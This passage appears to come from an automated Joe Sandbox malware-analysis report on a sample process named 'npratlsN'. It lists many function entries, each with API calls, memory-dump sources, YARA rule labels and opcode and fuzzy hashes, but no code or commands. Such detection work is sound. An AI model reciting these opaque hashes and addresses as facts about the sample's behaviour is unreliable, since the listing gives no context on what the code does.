                                                                                                                                                          • Instruction Fuzzy Hash: 413197B4D05258AFCB14CFA9D980ADEFBB1BB49310F20942AE815B7210D735A946CF98
                                                                                                                                                          Function 2FE2932E Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • CallWindowProcW.USER32(?,?,?,?,?), ref: 2FE293C1
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CallProcWindow
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2714655100-0
                                                                                                                                                          • Opcode ID: 0d45de19ef3d0f06fbe4cde1c60b82f3ba2b941bc439005b88de05b2e42f1f8c
                                                                                                                                                          • Instruction ID: cea07ffc2815491b1f6508c6d8ed7d8f1bd5ed58314abb4afdd638d2096acec7
                                                                                                                                                          • Opcode Fuzzy Hash: 0d45de19ef3d0f06fbe4cde1c60b82f3ba2b941bc439005b88de05b2e42f1f8c
                                                                                                                                                          • Instruction Fuzzy Hash: 243147B8A00605CFCB05CF99C888AAEBBF5FF98314F24C599D519AB361D374A841CF60
                                                                                                                                                          Function 2FE24618 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleW.KERNEL32(?), ref: 2FE246AA
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: HandleModule
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4139908857-0
                                                                                                                                                          • Opcode ID: fec5ad646753752f4a14dd2d4ce68b6b772ef69247c683ee61e53ecc72482890
                                                                                                                                                          • Instruction ID: 7c4dbcd33cc39a3bec9bc581adb98e28b488c15208582de887331aed03996aa9
                                                                                                                                                          • Opcode Fuzzy Hash: fec5ad646753752f4a14dd2d4ce68b6b772ef69247c683ee61e53ecc72482890
                                                                                                                                                          • Instruction Fuzzy Hash: EF3199B4D006189FCB14CFAAD584ADEFBF5AF49314F14906AE818B7320D334A941CF64
                                                                                                                                                          Function 2F687E0C Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • LdrInitializeThunk.NTDLL(00000000), ref: 2F687F4E
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: InitializeThunk
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2994545307-0
                                                                                                                                                          • Opcode ID: 61e51790864e0be9ed44b2cd3656729f918cb38cde827aa2b084afa553b8cc41
                                                                                                                                                          • Instruction ID: f3e8a310a734ef8ab6429c8dae32b0c9f11d37f742c11ff9399c0925c0338024
                                                                                                                                                          • Opcode Fuzzy Hash: 61e51790864e0be9ed44b2cd3656729f918cb38cde827aa2b084afa553b8cc41
                                                                                                                                                          • Instruction Fuzzy Hash: D8116A74E011098FDB04DFA9D484EADBBB5FB88304F20D568E904E7242DB30EA45CB20
                                                                                                                                                          Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                          • SysAllocString.OLEAUT32 ref: 00401898
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AllocString_malloc
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 959018026-0
                                                                                                                                                          • Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                          • Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
                                                                                                                                                          • Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
                                                                                                                                                          • Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA
                                                                                                                                                          Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CreateHeap
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 10892065-0
                                                                                                                                                          • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                          • Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
                                                                                                                                                          • Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
                                                                                                                                                          • Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548
                                                                                                                                                          Function 2F698D18 Relevance: 1.4, Strings: 1, Instructions: 189COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: nKvq
                                                                                                                                                          • API String ID: 0-3625296599
                                                                                                                                                          • Opcode ID: 0a1d45527bd67ccdcc948921683c10b924c96d6564ccca608dcb8a89299790b6
                                                                                                                                                          • Instruction ID: cffe11d101708076c5c902ea9ae6091396d4587ef8752071f0419d45e20a9b24
                                                                                                                                                          • Opcode Fuzzy Hash: 0a1d45527bd67ccdcc948921683c10b924c96d6564ccca608dcb8a89299790b6
                                                                                                                                                          • Instruction Fuzzy Hash: 8E71BF74E00219DFDB04CFA9D980ADEBBB2FF89310F10842AE919AB354DB356946CF54
                                                                                                                                                          Function 2F75CA80 Relevance: 1.4, Strings: 1, Instructions: 181COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: b0a609fe7540840cce4bcac96bbeaff68d7ba94d61d3e59916381d8847001411
                                                                                                                                                          • Instruction ID: 73192afd9a3ab147d3f74c64f8d850206d6d675d03d6f93986e9a71d3f653d24
                                                                                                                                                          • Opcode Fuzzy Hash: b0a609fe7540840cce4bcac96bbeaff68d7ba94d61d3e59916381d8847001411
                                                                                                                                                          • Instruction Fuzzy Hash: 36819274E412689FDB65CF69C890BDDBBB2AF89304F1080EAD849A7354DB715E81CF84
                                                                                                                                                          Function 2F756760 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 980631c88471fe8720c774b811db3f48252286efc89f36543840cb5a1ca2e5e1
                                                                                                                                                          • Instruction ID: 3b79c788bd5bfb55e1a62a668facb9c26d51c4b6ec8b92143912425324edd9f7
                                                                                                                                                          • Opcode Fuzzy Hash: 980631c88471fe8720c774b811db3f48252286efc89f36543840cb5a1ca2e5e1
                                                                                                                                                          • Instruction Fuzzy Hash: 6571B074E00208DFDB18DFA9C990ADDBBB2AF89304F249529D805BB354DB35A946CF54
                                                                                                                                                          Function 2F75C790 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 77ff4882ed81f9d1556e0682d24e1b484a81d64b798d71850081974b67569af1
                                                                                                                                                          • Instruction ID: 51aa70cafc13e2569f4407b9161a3d06502b52a58a1d3982734ad28d270b059c
                                                                                                                                                          • Opcode Fuzzy Hash: 77ff4882ed81f9d1556e0682d24e1b484a81d64b798d71850081974b67569af1
                                                                                                                                                          • Instruction Fuzzy Hash: 9271D074E00208DFDB18DFA9C980A9DBBF2AF88304F249529D805BB354DB35A946CF54
                                                                                                                                                          Function 2F741360 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 4d9c6f57fe1e62e042ddf267c3e4a5f29d79ec4831829d261cdedcb55bff6a46
                                                                                                                                                          • Instruction ID: c5b05daf0c5b21211358e0d49895f1581c62f08521e0e084aa4d8473d5d1d56b
                                                                                                                                                          • Opcode Fuzzy Hash: 4d9c6f57fe1e62e042ddf267c3e4a5f29d79ec4831829d261cdedcb55bff6a46
                                                                                                                                                          • Instruction Fuzzy Hash: BC71DF74E00208DFDB08DFA9C990ADDBBF2AF88304F209529D815BB364DB75A946CF54
                                                                                                                                                          Function 2F747390 Relevance: 1.4, Strings: 1, Instructions: 171COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 3dc1acae6d54b3d3bc4c70ebdc9668ebf8caec1737c0e08deb93f767626d836c
                                                                                                                                                          • Instruction ID: 9ba52dafa1a6fe2d9236b960f060de893b4fa19645ac1dbdabdbd419cd34576b
                                                                                                                                                          • Opcode Fuzzy Hash: 3dc1acae6d54b3d3bc4c70ebdc9668ebf8caec1737c0e08deb93f767626d836c
                                                                                                                                                          • Instruction Fuzzy Hash: 4F71DF74E00218DFDB08DFA9C990AADBBF2AF88304F209529D815BB354DB35A946CF54
                                                                                                                                                          Function 2F74EFE7 Relevance: 1.4, Strings: 1, Instructions: 104COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 4093d276949b2fb134917251302013e822975ff6e696f9d3626a01f10727ab36
                                                                                                                                                          • Instruction ID: 8eae6b5b170fa2fd85c3dcbb9ffc543880cd5aff75a821be19590b52d27e1bc2
                                                                                                                                                          • Opcode Fuzzy Hash: 4093d276949b2fb134917251302013e822975ff6e696f9d3626a01f10727ab36
                                                                                                                                                          • Instruction Fuzzy Hash: 6C41F375E01608CBDB08CFAAD880ADEBBF2BF89304F10D52AD418BB255EB355946CF55
                                                                                                                                                          Function 2F756430 Relevance: 1.4, Strings: 1, Instructions: 103COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 4a90ab03e5c44639a96470a312f45f344b174e5a1d2bc0ec102f550cd5cf54e2
                                                                                                                                                          • Instruction ID: 455b10064267c482bf787b14113b2983b5e9ded98ff7680f2061ef6533817c48
                                                                                                                                                          • Opcode Fuzzy Hash: 4a90ab03e5c44639a96470a312f45f344b174e5a1d2bc0ec102f550cd5cf54e2
                                                                                                                                                          • Instruction Fuzzy Hash: A9410374E05248CBDB18CFAAD840ADEBBF2BF89300F10D529D819BB258DB355906CF55
                                                                                                                                                          Function 2F747382 Relevance: 1.3, Strings: 1, Instructions: 97COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: d2b5d67ef431a5daf1c84964647df211f46cc3f2906e62f01fff5a1e4636fc09
                                                                                                                                                          • Instruction ID: 11081c3438af3ebfe60d2129858a394ec78c9970e0f80c19f1b955ed5c1cb767
                                                                                                                                                          • Opcode Fuzzy Hash: d2b5d67ef431a5daf1c84964647df211f46cc3f2906e62f01fff5a1e4636fc09
                                                                                                                                                          • Instruction Fuzzy Hash: 5A31D170E016089BDB08CFAAD9506DEFBF2AF89300F24D42AD418BB254DB356942CF55
                                                                                                                                                          Function 2F741352 Relevance: 1.3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475145213.000000002F740000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F740000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f740000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 8f7edfa4e63111cb0d6d2a121a2cb89a65db1fe269433138354a6a86df83bc42
                                                                                                                                                          • Instruction ID: cfe23749b7e1c2e69ca0f581f3ce2887a36b1d335f72df368b35043ab9db4e6f
                                                                                                                                                          • Opcode Fuzzy Hash: 8f7edfa4e63111cb0d6d2a121a2cb89a65db1fe269433138354a6a86df83bc42
                                                                                                                                                          • Instruction Fuzzy Hash: F931D270E01208CBEB08DFAAC5506DEFBF2AF89300F24D42AC419BB254EB345942CF55
                                                                                                                                                          Function 2F75C780 Relevance: 1.3, Strings: 1, Instructions: 80COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 817bce0a24e765fdc9d150d61b25f0455ecb2d75df2bc15e68b0bf88047296ef
                                                                                                                                                          • Instruction ID: 75300f66802520898651e1c76f3f402ed0137f5f1bd88f0ed324f3f4d7dcf1ec
                                                                                                                                                          • Opcode Fuzzy Hash: 817bce0a24e765fdc9d150d61b25f0455ecb2d75df2bc15e68b0bf88047296ef
                                                                                                                                                          • Instruction Fuzzy Hash: E131A075E012088BDB08CFAAD5406DEBBF2EF89304F24D42AD819BB354EB355A46CF54
                                                                                                                                                          Function 29A5F1B8 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3461417184.0000000029A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29A50000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_29a50000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CloseHandle
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2962429428-0
                                                                                                                                                          • Opcode ID: b15cba1e6f7b937bdf81afa92fe36cde845af372706bd9b7db395c976a1d62cf
                                                                                                                                                          • Instruction ID: 24e20cdc6007d0a79f234756e483af8a7b5cc29f546c5d57ea32743da770502a
                                                                                                                                                          • Opcode Fuzzy Hash: b15cba1e6f7b937bdf81afa92fe36cde845af372706bd9b7db395c976a1d62cf
                                                                                                                                                          • Instruction Fuzzy Hash: A331A9B4D012189FCB14CFA9D981ADEFBB4EB49310F10942AE815B7210C734A942CFA8
                                                                                                                                                          Function 2E5CCB11 Relevance: .7, Instructions: 652COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 4b2176179ca8fb852aefb57da1d669cc35bdc3030c12482550098b79c4154b82
                                                                                                                                                          • Instruction ID: bac4b23d3cdf8c5281c473c51a31b7a57565bcbb01407470285883e21864ce79
                                                                                                                                                          • Opcode Fuzzy Hash: 4b2176179ca8fb852aefb57da1d669cc35bdc3030c12482550098b79c4154b82
                                                                                                                                                          • Instruction Fuzzy Hash: 7C1285380356069F828D2F6196BD13ABF68FF0F363710EE08F21ED44599F78548A9A35
                                                                                                                                                          Function 2E5CCB20 Relevance: .6, Instructions: 647COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: f1b49550041f74104ebd30194d787cd0a7b0e8178bc8251260ad5022d8256984
                                                                                                                                                          • Instruction ID: 57f128c3ecbf182dfaebdaf4687c8cc6fd22e43d308033937ca324fa43dfeca5
                                                                                                                                                          • Opcode Fuzzy Hash: f1b49550041f74104ebd30194d787cd0a7b0e8178bc8251260ad5022d8256984
                                                                                                                                                          • Instruction Fuzzy Hash: 1F1274380356069F828D2F6196BD13ABF68FF0F363710EE08F11ED44599F78548A9A75
                                                                                                                                                          Function 2F6982D0 Relevance: .3, Instructions: 258COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 528762324d3cfc4f1f33e5427d1bf46259b34c3ee2f3c2676ed719eaf93b5bbd
                                                                                                                                                          • Instruction ID: 5c7914d34a111afa850fb5d51f48b000087a5efac998f3b8caf55096107a7036
                                                                                                                                                          • Opcode Fuzzy Hash: 528762324d3cfc4f1f33e5427d1bf46259b34c3ee2f3c2676ed719eaf93b5bbd
                                                                                                                                                          • Instruction Fuzzy Hash: 92C1AF70A012299FDB64CF69C990BDEBBB2BB88300F1085E9E50DA7394DB745E85CF51
                                                                                                                                                          Function 2F6982E0 Relevance: .2, Instructions: 249COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: fa2fc78257c93ffb43d1c5e4dfdaa409002187a1a9813eae94eae1dfc0a36f10
                                                                                                                                                          • Instruction ID: bc52bb07fda74c3038bdefe3101cf4dbdbbbd7841a6e9f1a82b0f8393d89392f
                                                                                                                                                          • Opcode Fuzzy Hash: fa2fc78257c93ffb43d1c5e4dfdaa409002187a1a9813eae94eae1dfc0a36f10
                                                                                                                                                          • Instruction Fuzzy Hash: F8C19E70A012299FDB64CF69C990BDEBBB2BB88300F1085E9E50DA7394DB745E85CF51
                                                                                                                                                          Function 2E5C88A1 Relevance: .2, Instructions: 242COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 66c0629e79470fd4566177754e500b65a67c9246a7d6e624d27f3cf7b6053bc7
                                                                                                                                                          • Instruction ID: 815ae1be29849016f58e574730a15cfe7c02c2fdebf958f9ff0696e2da9778fb
                                                                                                                                                          • Opcode Fuzzy Hash: 66c0629e79470fd4566177754e500b65a67c9246a7d6e624d27f3cf7b6053bc7
                                                                                                                                                          • Instruction Fuzzy Hash: 96915830510A059FC301CFADC89099ABBF5FF46324B159666E958D7352D739FC12CBA2
                                                                                                                                                          Function 2E5C6B60 Relevance: .2, Instructions: 201COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 0de028104314c1c9474668c297d686e5e21d53ba750c1ec6e2fd33de8f0fca68
                                                                                                                                                          • Instruction ID: 834ff40eba05b67b26f1e100dde761715941548ae7bdbae3829238099ce2747c
                                                                                                                                                          • Opcode Fuzzy Hash: 0de028104314c1c9474668c297d686e5e21d53ba750c1ec6e2fd33de8f0fca68
                                                                                                                                                          • Instruction Fuzzy Hash: 957149347202058FCB04CFA9C4A4A6A7BF5FF99B44F1554AAEA01CB361DBB4DE41CB90
                                                                                                                                                          Function 2F698030 Relevance: .2, Instructions: 174COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: d92df743422f0d6533a22a5321216d59bda915b4857b7817fa31419e355e253b
                                                                                                                                                          • Instruction ID: 79c086c0e6f02ffbc5d61eb1676faf14efb8db38ec9bba39bda5569d302a81ce
                                                                                                                                                          • Opcode Fuzzy Hash: d92df743422f0d6533a22a5321216d59bda915b4857b7817fa31419e355e253b
                                                                                                                                                          • Instruction Fuzzy Hash: 7361B575E012099FDB08DFB9D990A9DBBF2EF88310F14D529E908AB359DA309942CB51
                                                                                                                                                          Function 2F698898 Relevance: .2, Instructions: 156COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: b185e508c8a59b8c2d8b7b8c873185639568252fb1291598372d7db995bad3ff
                                                                                                                                                          • Instruction ID: cd47ee0b4f3e74ddbe65b5722321499b784320a864fd6b6398f543f57fbe1e55
                                                                                                                                                          • Opcode Fuzzy Hash: b185e508c8a59b8c2d8b7b8c873185639568252fb1291598372d7db995bad3ff
                                                                                                                                                          • Instruction Fuzzy Hash: 7F61C274E012199FDB04DFA9D595ADEBBF2FF88300F20842AD419AB354DB746A46CB90
                                                                                                                                                          Function 2F698F20 Relevance: .1, Instructions: 142COMMON
